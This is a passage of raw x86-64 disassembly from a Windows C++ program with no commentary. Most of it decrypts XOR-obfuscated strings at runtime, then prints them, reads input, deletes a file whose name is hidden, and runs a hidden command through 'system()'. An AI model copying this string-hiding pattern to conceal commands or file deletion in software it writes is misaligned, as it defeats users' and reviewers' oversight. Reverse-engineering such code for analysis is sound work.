call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c38bc
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
jmp 0x140008e54
mov byte [rsp + 0x3b], 0
lea rdx, [rbp + 0x828]
lea rcx, [rsp + 0x3b]
call fcn.14001f230
movabs rax, 0xed435379cd8ee241
mov qword [rbp + 0x260], rax
movabs rax, 0x550f5f141ffadab3
mov qword [rbp + 0x268], rax
movabs rax, 0x30daab96dfcea0b
mov qword [rbp + 0x270], rax
movabs rax, 0xd9beb0b00c040b24
mov qword [rbp + 0x278], rax
movabs rax, 0x971a7be6e9b7e3a7
mov qword [rbp + 0x280], rax
movabs rax, 0xeeb5cd065894554c
mov qword [rbp + 0x288], rax
movabs rax, 0x8ef71f09392844ee
mov qword [rbp + 0x290], rax
movabs rax, 0xa975651aba234f87
mov qword [rbp + 0x298], rax
mov qword [rbp + 0x12a0], r15
mov qword [rbp + 0x12a8], rsi
movabs rax, 0x667fc5df089eca27
mov qword [rbp + 0x12b0], rax
movabs rax, 0xb0d6d3de79656704
mov qword [rbp + 0x12b8], rax
movabs rax, 0xf27e1a89859784c9
mov qword [rbp + 0x12c0], rax
movabs rax, 0x9c95a96819b47b3e
mov qword [rbp + 0x12c8], rax
movabs rax, 0xf7d76b7b585c378b
mov qword [rbp + 0x12d0], rax
movabs rax, 0xa95b264a9a513ae8
mov qword [rbp + 0x12d8], rax
movdqa xmm0, xmmword [rbp + 0x260]
xorps xmm0, xmmword [rbp + 0x12a0]
movdqa xmmword [rbp + 0x260], xmm0
movdqa xmm1, xmmword [rbp + 0x270]
xorps xmm1, xmmword [rbp + 0x12b0]
movdqa xmmword [rbp + 0x270], xmm1
movdqa xmm0, xmmword [rbp + 0x280]
xorps xmm0, xmmword [rbp + 0x12c0]
movdqa xmmword [rbp + 0x280], xmm0
movdqa xmm1, xmmword [rbp + 0x290]
xorps xmm1, xmmword [rbp + 0x12d0]
movdqa xmmword [rbp + 0x290], xmm1
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r12
lea rax, [rbp + 0x260]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400095d0
lea rdx, [rbp + 0x260]
lea rcx, [rbp - 0x80]
call fcn.1400108b0
lea rax, [rbp - 0x80]
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0xe50]
call fcn.1400053a0
mov byte [rsp + 0x3c], 0
lea rdx, [rbp + 0x850]
lea rcx, [rsp + 0x3c]
call fcn.14001ee60
movabs rax, 0xce1b4223db85e869
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rsi
mov qword [rbp + 0x11f0], r15
mov qword [rbp + 0x11f8], rsi
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x11f0]
movdqa xmmword [rbp + 0xd0], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0xa
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0xe50]
call fcn.14000df30
nop
lea rcx, [rbp + 0xe50]
call fcn.14000b940
test al, al
je 0x140009725
mov byte [rsp + 0x3d], 0
lea rdx, [rbp + 0x38]
lea rcx, [rsp + 0x3d]
call fcn.14001ee70
movabs rax, 0x9a11597fda87a75e
mov qword [rbp + 0x1d0], rax
movabs rax, 0x3e7d3e7c4cb28887
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x1140], r15
mov qword [rbp + 0x1148], rsi
movdqa xmm0, xmmword [rbp + 0x1d0]
xorps xmm0, xmmword [rbp + 0x1140]
movdqa xmmword [rbp + 0x1d0], xmm0
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xe50]
call fcn.14000faa0
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rax
call fcn.140015280
lea rdx, [0x14000fc70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0xe50]
call fcn.140005330
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140009770
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000976b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000976b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c38bc
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
jmp 0x140008e54
mov byte [rsp + 0x3e], 0
lea rdx, [rbp + 0x858]
lea rcx, [rsp + 0x3e]
call fcn.14001f210
movabs rax, 0xf2435379cd8ee241
mov qword [rbp + 0x2a0], rax
movabs rax, 0x4b1f5b384ccffc8e
mov qword [rbp + 0x2a8], rax
movabs rax, 0x31de5f37afbad40
mov qword [rbp + 0x2b0], rax
movabs rax, 0xc5b7bffe1c170862
mov qword [rbp + 0x2b8], rax
movabs rax, 0x9e5e7de7ecffe7a7
mov qword [rbp + 0x2c0], rax
movabs rax, 0xddb5871a7cd01a51
mov qword [rbp + 0x2c8], rax
movabs rax, 0x96a3181e2a7c53e5
mov qword [rbp + 0x2d0], rax
movabs rax, 0x89295325e3714e9a
mov qword [rbp + 0x2d8], rax
movabs rax, 0x46b002459485d8dd
mov qword [rbp + 0x2e0], rax
movabs rcx, 0xc531bad48c65d002
mov qword [rbp + 0x2e8], rcx
mov qword [rbp + 0x1380], r15
mov qword [rbp + 0x1388], rsi
movabs rax, 0x667fc5df089eca27
mov qword [rbp + 0x1390], rax
movabs rax, 0xb0d6d3de79656704
mov qword [rbp + 0x1398], rax
movabs rax, 0xf27e1a89859784c9
mov qword [rbp + 0x13a0], rax
movabs rax, 0x9c95a96819b47b3e
mov qword [rbp + 0x13a8], rax
movabs rax, 0xf7d76b7b585c378b
mov qword [rbp + 0x13b0], rax
movabs rax, 0xa95b264a9a513ae8
mov qword [rbp + 0x13b8], rax
movabs rax, 0x46b0024594ab9b8d
mov qword [rbp + 0x13c0], rax
mov qword [rbp + 0x13c8], rcx
movdqa xmm0, xmmword [rbp + 0x2a0]
xorps xmm0, xmmword [rbp + 0x1380]
movdqa xmmword [rbp + 0x2a0], xmm0
movdqa xmm1, xmmword [rbp + 0x2b0]
xorps xmm1, xmmword [rbp + 0x1390]
movdqa xmmword [rbp + 0x2b0], xmm1
movdqa xmm0, xmmword [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x13a0]
movdqa xmmword [rbp + 0x2c0], xmm0
movdqa xmm1, xmmword [rbp + 0x2d0]
xorps xmm1, xmmword [rbp + 0x13b0]
movdqa xmmword [rbp + 0x2d0], xmm1
movdqa xmm0, xmmword [rbp + 0x2e0]
xorps xmm0, xmmword [rbp + 0x13c0]
movdqa xmmword [rbp + 0x2e0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], r12
lea rax, [rbp + 0x2a0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140009961
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp - 0x60]
call fcn.1400108b0
lea rax, [rbp - 0x60]
mov qword [rbp + 0x38], rax
lea rcx, [rbp + 0xf60]
call fcn.1400053a0
mov byte [rsp + 0x3f], 0
lea rdx, [rbp + 0x860]
lea rcx, [rsp + 0x3f]
call fcn.14001ee60
movabs rax, 0xce1b4223db85e869
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], rsi
mov qword [rbp + 0x1130], r15
mov qword [rbp + 0x1138], rsi
movdqa xmm0, xmmword [rbp + 0x150]
xorps xmm0, xmmword [rbp + 0x1130]
movdqa xmmword [rbp + 0x150], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0xa
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xf60]
call fcn.14000df30
nop
lea rcx, [rbp + 0xf60]
call fcn.14000b940
test al, al
je 0x140009ab6
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.14001ee70
movabs rax, 0x9a11597fda87a75e
mov qword [rbp + 0xf0], rax
movabs rax, 0x3e7d3e7c4cb28887
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x1120], r15
mov qword [rbp + 0x1128], rsi
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0x1120]
movdqa xmmword [rbp + 0xf0], xmm0
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0xf60]
call fcn.14000faa0
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rdx, qword [rbp - 0x60]
mov r8, qword [rbp - 0x50]
mov rcx, rax
call fcn.140015280
lea rdx, [0x14000fc70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0xf60]
call fcn.140005330
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140009b01
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009afc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009afc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c38bc
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x60], 0
jmp 0x140008e54
movabs rax, 0xea435379cd8ee241
mov qword [rbp + 0x2f0], rax
movabs rax, 0x765d4d0f09fcc7a8
mov qword [rbp + 0x2f8], rax
movabs rax, 0x45fe9ad6df5a946
mov qword [rbp + 0x300], rax
movabs rax, 0xd1baf3bb0b0a0161
mov qword [rbp + 0x308], rax
movabs rax, 0xd21974e0edf4eabc
mov qword [rbp + 0x310], rax
movabs rax, 0xbcbbdb0d7dd51452
mov qword [rbp + 0x318], rax
movabs rax, 0x83a40e09783859ca
mov qword [rbp + 0x320], rax
movabs rax, 0xdb2e4933ba254889
mov qword [rbp + 0x328], rax
movabs rax, 0x46b00245bae8cbad
mov qword [rbp + 0x330], rax
movabs rcx, 0xc531bad48c65d002
mov qword [rbp + 0x338], rcx
mov qword [rbp + 0x13d0], r15
mov qword [rbp + 0x13d8], rsi
movabs rax, 0x667fc5df089eca27
mov qword [rbp + 0x13e0], rax
movabs rax, 0xb0d6d3de79656704
mov qword [rbp + 0x13e8], rax
movabs rax, 0xf27e1a89859784c9
mov qword [rbp + 0x13f0], rax
movabs rax, 0x9c95a96819b47b3e
mov qword [rbp + 0x13f8], rax
movabs rax, 0xf7d76b7b585c378b
mov qword [rbp + 0x1400], rax
movabs rax, 0xa95b264a9a513ae8
mov qword [rbp + 0x1408], rax
movabs rax, 0x46b0024594ab9b8d
mov qword [rbp + 0x1410], rax
mov qword [rbp + 0x1418], rcx
movdqa xmm0, xmmword [rbp + 0x2f0]
xorps xmm0, xmmword [rbp + 0x13d0]
movdqa xmmword [rbp + 0x2f0], xmm0
movdqa xmm1, xmmword [rbp + 0x300]
xorps xmm1, xmmword [rbp + 0x13e0]
movdqa xmmword [rbp + 0x300], xmm1
movdqa xmm0, xmmword [rbp + 0x310]
xorps xmm0, xmmword [rbp + 0x13f0]
movdqa xmmword [rbp + 0x310], xmm0
movdqa xmm1, xmmword [rbp + 0x320]
xorps xmm1, xmmword [rbp + 0x1400]
movdqa xmmword [rbp + 0x320], xmm1
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x1410]
movdqa xmmword [rbp + 0x330], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r12
lea rax, [rbp + 0x2f0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140009ce0
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp - 0x40]
call fcn.1400108b0
lea rax, [rbp - 0x40]
mov qword [rbp + 0x40], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xb20]
call sub.VCRUNTIME140.dll_memset
movabs rax, 0xce1b4223db85e869
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rsi
mov qword [rbp + 0x1190], r15
mov qword [rbp + 0x1198], rsi
movdqa xmm0, xmmword [rbp + 0x110]
xorps xmm0, xmmword [rbp + 0x1190]
movdqa xmmword [rbp + 0x110], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0xa
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0xb20]
call fcn.14000df30
nop
cmp qword [rbp + 0xba8], 0
je 0x140009e0e
movabs rax, 0x9a11597fda87a75e
mov qword [rbp + 0x170], rax
movabs rax, 0x3e7d3e7c4cb28887
mov qword [rbp + 0x178], rax
mov qword [rbp + 0x10c0], r15
mov qword [rbp + 0x10c8], rsi
movdqa xmm0, xmmword [rbp + 0x170]
xorps xmm0, xmmword [rbp + 0x10c0]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0xb20]
call fcn.14000faa0
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x30]
mov rcx, rax
call fcn.140015280
lea rdx, [0x14000fc70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0xbc8]
call fcn.14000b950
lea rcx, [rbp + 0xbc8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140009e66
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009e61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009e61
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c38bc
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x9f0]
cmp rdx, 0xf
jbe 0x140008e95
inc rdx
mov rcx, qword [rbp + 0x9d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008e90
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400c38bc
mov qword [rbp + 0x3a0], r12
mov qword [rbp + 0x3a8], 7
mov word [rbp + 0x390], r12w
movabs rax, 0x22291ffe4ecb4690
test bl, bl
je 0x14000a2ed
lea rax, [rbp + 0x4f0]
mov qword [rbp + 0x9d0], rax
movabs rax, 0x224c6c902bdb439f
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x448], r13
movaps xmm0, xmmword [rbp + 0x440]
mov qword [rbp + 0x1160], rdi
mov qword [rbp + 0x1168], r13
xorps xmm0, xmmword [rbp + 0x1160]
movdqa xmmword [rbp + 0x420], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov qword [rbp + 0x508], r12
lea rax, [rbp + 0x420]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140009f62
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x4f0]
call fcn.1400108b0
nop
mov qword [rbp + 0x5e0], rsi
mov qword [rbp + 0x5e8], r15
movaps xmm0, xmmword [rbp + 0x5e0]
mov qword [rbp + 0x1150], rdi
mov qword [rbp + 0x1158], r13
xorps xmm0, xmmword [rbp + 0x1150]
movdqa xmmword [rbp + 0x6e0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x510], xmm0
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], r12
lea rax, [rbp + 0x6e0]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140009fe0
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x510]
call fcn.1400108b0
nop
lea r8, [rbp + 0x4f0]
lea rdx, [rbp + 0x510]
lea rcx, [rbp + 0xab8]
call fcn.1400047b0
nop
lea rdx, [rbp + 0xab8]
lea rcx, [rbp + 0x990]
call fcn.14000cf40
mov rdx, rax
lea rcx, [0x140142ac0]
call fcn.140034660
cmp byte [0x140142cd0], 0
jne 0x14000a11f
lea rdx, [rbp + 0x868]
call fcn.14000b7c0
mov qword [rbp + 0x6d0], rsi
mov qword [rbp + 0x6d8], r15
movaps xmm0, xmmword [rbp + 0x6d0]
mov qword [rbp + 0x1370], rdi
mov qword [rbp + 0x1378], r13
xorps xmm0, xmmword [rbp + 0x1370]
movdqa xmmword [rbp + 0x760], xmm0
lea rcx, [rbp + 0x760]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, [rbp + 0x870]
call fcn.14000b7d0
movabs rcx, 0x515c6b9f3aeb0af9
mov qword [rbp + 0x660], rcx
movabs rax, 0xdece3a5bd5b13926
mov qword [rbp + 0x668], rax
mov qword [rbp + 0x1350], rdi
mov qword [rbp + 0x1358], r13
movdqa xmm0, xmmword [rbp + 0x1350]
xorps xmm0, xmmword [rbp + 0x660]
movdqa xmmword [rbp + 0x7b0], xmm0
lea rdx, [rbp + 0x7b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000faa0
mov rcx, rax
lea rdx, [0x140142cd8]
call fcn.14000fcb0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movabs rax, 0x79442ecd15a320f9
mov qword [rbp + 0x690], rax
movabs rax, 0x85d51b36e0824207
mov qword [rbp + 0x698], rax
movabs rax, 0x823ebe73b0de2fae
mov qword [rbp + 0x6a0], rax
movabs rax, 0x70c22ade79e7955b
mov qword [rbp + 0x6a8], rax
movabs rax, 0xf47bdf1e83e16cb4
mov qword [rbp + 0x6b0], rax
movabs rax, 0x5f12379edb3b3715
mov qword [rbp + 0x6b8], rax
movabs rax, 0x29e9b04cdc311fe0
mov qword [rbp + 0x6c0], rax
movabs rax, 0xc7961ee85af2e84d
mov qword [rbp + 0x6c8], rax
mov qword [rbp + 0x12e0], rdi
mov qword [rbp + 0x12e8], r13
movabs rdi, 0xb00de568edb31e9d
mov qword [rbp + 0x12f0], rdi
movabs rax, 0x3a749bd0cb4b536
mov qword [rbp + 0x12f8], rax
movabs rsi, 0xb55ba672ef940ac7
mov qword [rbp + 0x1300], rsi
movabs r15, 0x3c7b43ffb6544360
mov qword [rbp + 0x1308], r15
movabs rax, 0x4e86fc6ca55d7381
mov qword [rbp + 0x1310], rax
movabs rax, 0xc79c70a17a968d2a
mov qword [rbp + 0x1318], rax
movdqa xmm0, xmmword [rbp + 0x12e0]
xorps xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp + 0x910], xmm0
movdqa xmm1, xmmword [rbp + 0x12f0]
xorps xmm1, xmmword [rbp + 0x6a0]
movdqa xmmword [rbp + 0x920], xmm1
movdqa xmm0, xmmword [rbp + 0x1300]
xorps xmm0, xmmword [rbp + 0x6b0]
movdqa xmmword [rbp + 0x930], xmm0
movdqa xmm1, xmmword [rbp + 0x1310]
xorps xmm1, xmmword [rbp + 0x6c0]
movdqa xmmword [rbp + 0x940], xmm1
lea rdx, [rbp + 0x910]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000faa0
nop
mov rdx, qword [rbp + 0xad0]
cmp rdx, 0xf
jbe 0x14000a2cf
inc rdx
mov rcx, qword [rbp + 0xab8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a2ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a2ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c38bc
mov qword [rbp + 0xac8], r12
mov qword [rbp + 0xad0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xab8], 0
jmp 0x14000a9f2
xorps xmm0, xmm0
movups xmmword [rbp + 0xa00], xmm0
mov qword [rbp + 0xa10], r12
mov qword [rbp + 0xa18], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa00], 0
mov qword [rbp + 0x530], rax
mov qword [rbp + 0x538], r13
mov qword [rbp + 0x1210], rdi
mov qword [rbp + 0x1218], r13
movdqa xmm0, xmmword [rbp + 0x1210]
xorps xmm0, xmmword [rbp + 0x530]
movdqa xmmword [rbp + 0x7c0], xmm0
lea rcx, [rbp + 0x7c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x397272cf7de331f9
mov qword [rbp + 0x630], rax
movabs rax, 0xed95217ab8842a47
mov qword [rbp + 0x638], rax
movabs rax, 0xdd3fd633f6ee73ac
mov qword [rbp + 0x640], rax
movabs rax, 0x68873bd878daf016
mov qword [rbp + 0x648], rax
movabs rax, 0xd86c9529f4ae73a2
mov qword [rbp + 0x650], rax
movabs rax, 0x3c7b43ffb6544340
mov qword [rbp + 0x658], rax
movups xmm1, xmmword [rbp + 0x630]
movups xmm2, xmmword [rbp + 0x640]
movups xmm3, xmmword [rbp + 0x650]
mov qword [rbp + 0x11b0], rdi
mov qword [rbp + 0x11b8], r13
movabs rax, 0xb00de568edb31e9d
mov qword [rbp + 0x11c0], rax
movabs rax, 0x3a749bd0cb4b536
mov qword [rbp + 0x11c8], rax
movabs rsi, 0xb55ba672ef940ac7
mov qword [rbp + 0x11d0], rsi
movabs r15, 0x3c7b43ffb6544360
mov qword [rbp + 0x11d8], r15
movdqa xmm0, xmmword [rbp + 0x11b0]
xorps xmm0, xmm1
movdqa xmmword [rbp + 0x8e0], xmm0
movdqa xmm1, xmmword [rbp + 0x11c0]
xorps xmm1, xmm2
movdqa xmmword [rbp + 0x8f0], xmm1
movdqa xmm0, xmmword [rbp + 0x11d0]
xorps xmm0, xmm3
movdqa xmmword [rbp + 0x900], xmm0
lea rdx, [rbp + 0x8e0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000faa0
lea rdx, [rbp + 0xa00]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14000ffd0
lea rdx, [rbp + 0xa00]
lea rcx, [rbp + 0x9b0]
call fcn.14000cf40
mov rdx, rax
lea rcx, [0x140142ac0]
call fcn.140034660
cmp byte [0x140142cd0], 0
jne 0x14000a526
lea rdx, [rbp + 0x878]
call fcn.14000b7e0
movabs rcx, 0x22291ffe4eb80af9
mov qword [rbp + 0x450], rcx
mov qword [rbp + 0x458], r13
mov qword [rbp + 0x1200], rdi
mov qword [rbp + 0x1208], r13
movdqa xmm0, xmmword [rbp + 0x1200]
xorps xmm0, xmmword [rbp + 0x450]
movdqa xmmword [rbp + 0x7d0], xmm0
lea rdx, [rbp + 0x7d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000faa0
mov rcx, rax
lea rdx, [0x140142cd8]
call fcn.14000fcb0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [rbp + 0x710]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x710], xmm0
mov qword [rbp + 0x720], r12
mov qword [rbp + 0x728], r12
xor r8d, r8d
lea rdx, [0x1400e824d]
mov rcx, rax
call fcn.1400108b0
nop
lea rax, [rbp + 0x730]
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x730], xmm0
mov qword [rbp + 0x740], r12
mov qword [rbp + 0x748], r12
xor r8d, r8d
lea rdx, [0x1400e824d]
mov rcx, rax
call fcn.1400108b0
nop
lea rdx, [rbp + 0x3f0]
mov qword [rbp + 0x880], rdx
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f0], xmm0
mov qword [rbp + 0x400], r12
mov qword [rbp + 0x408], r12
mov rbx, qword [rbp + 0xa10]
lea rdi, [rbp + 0xa00]
cmp qword [rbp + 0xa18], 0xf
cmova rdi, qword [rbp + 0xa00]
cmp rbx, r14
ja 0x14000b77c
cmp rbx, 0xf
ja 0x14000a5fd
mov qword [rdx + 0x10], rbx
mov qword [rdx + 0x18], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rdi]
movups xmmword [rdx], xmm0
jmp 0x14000a699
mov rax, rbx
or rax, 0xf
cmp rax, r14
jbe 0x14000a635
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400c3880
mov rcx, rax
test rax, rax
je 0x14000a66b
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000a677
cmp rax, 0x16
mov ecx, socket
cmovb rax, rcx
mov r14, rax
lea rcx, [rax + 1]
test rcx, rcx
jne 0x14000a653
mov rax, r12
jmp 0x14000a67e
cmp rcx, 0x1000
jb 0x14000a672
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000b770
jmp 0x14000a617
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3880
lea rdx, [rbp + 0x3f0]
mov qword [rdx], rax
mov qword [rdx + 0x10], rbx
mov qword [rdx + 0x18], r14
lea r8, [rbx + 1]
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rbx, [rbp + 0x830]
mov qword [rbp + 0x888], rbx
movabs rax, 0x224c6c902bdb439f
mov qword [rbp + 0x670], rax
mov qword [rbp + 0x678], r13
movabs rdi, 0x22291ffe4eb82af3
mov qword [rbp + 0x1320], rdi
mov qword [rbp + 0x1328], r13
movdqa xmm0, xmmword [rbp + 0x1320]
xorps xmm0, xmmword [rbp + 0x670]
movdqa xmmword [rbp + 0x680], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x830], xmm0
mov qword [rbp + 0x840], r12
mov qword [rbp + 0x848], r12
lea rax, [rbp + 0x680]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14000a714
lea rdx, [rbp + 0x680]
mov rcx, rbx
call fcn.1400108b0
nop
movabs rax, 0x4d5a75d021cc5f92
mov qword [rbp + 0x410], rax
movabs rax, 0xdece3a5bd5b11972
mov qword [rbp + 0x418], rax
mov qword [rbp + 0x1330], rdi
mov qword [rbp + 0x1338], r13
movdqa xmm0, xmmword [rbp + 0x1330]
xorps xmm0, xmmword [rbp + 0x410]
movdqa xmmword [rbp + 0x430], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x590], r12
mov qword [rbp + 0x598], r12
lea rax, [rbp + 0x430]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000a7a0
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x580]
call fcn.1400108b0
nop
lea rax, [rbp + 0x710]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x730]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x3f0]
mov rdx, rbx
lea rcx, [rbp + 0x580]
call fcn.140004db0
movabs rax, 0x793244937f8b71e8
mov qword [rbp + 0x340], rax
movabs rax, 0xeffd6140f4dc2c2f
mov qword [rbp + 0x348], rax
movabs rax, 0x9060d75bb6a843f0
mov qword [rbp + 0x350], rax
movabs rax, 0x65d43ad86fd7c065
mov qword [rbp + 0x358], rax
movabs rax, 0xd029e55296f866b2
mov qword [rbp + 0x360], rax
movabs rax, 0x501205dfd2313701
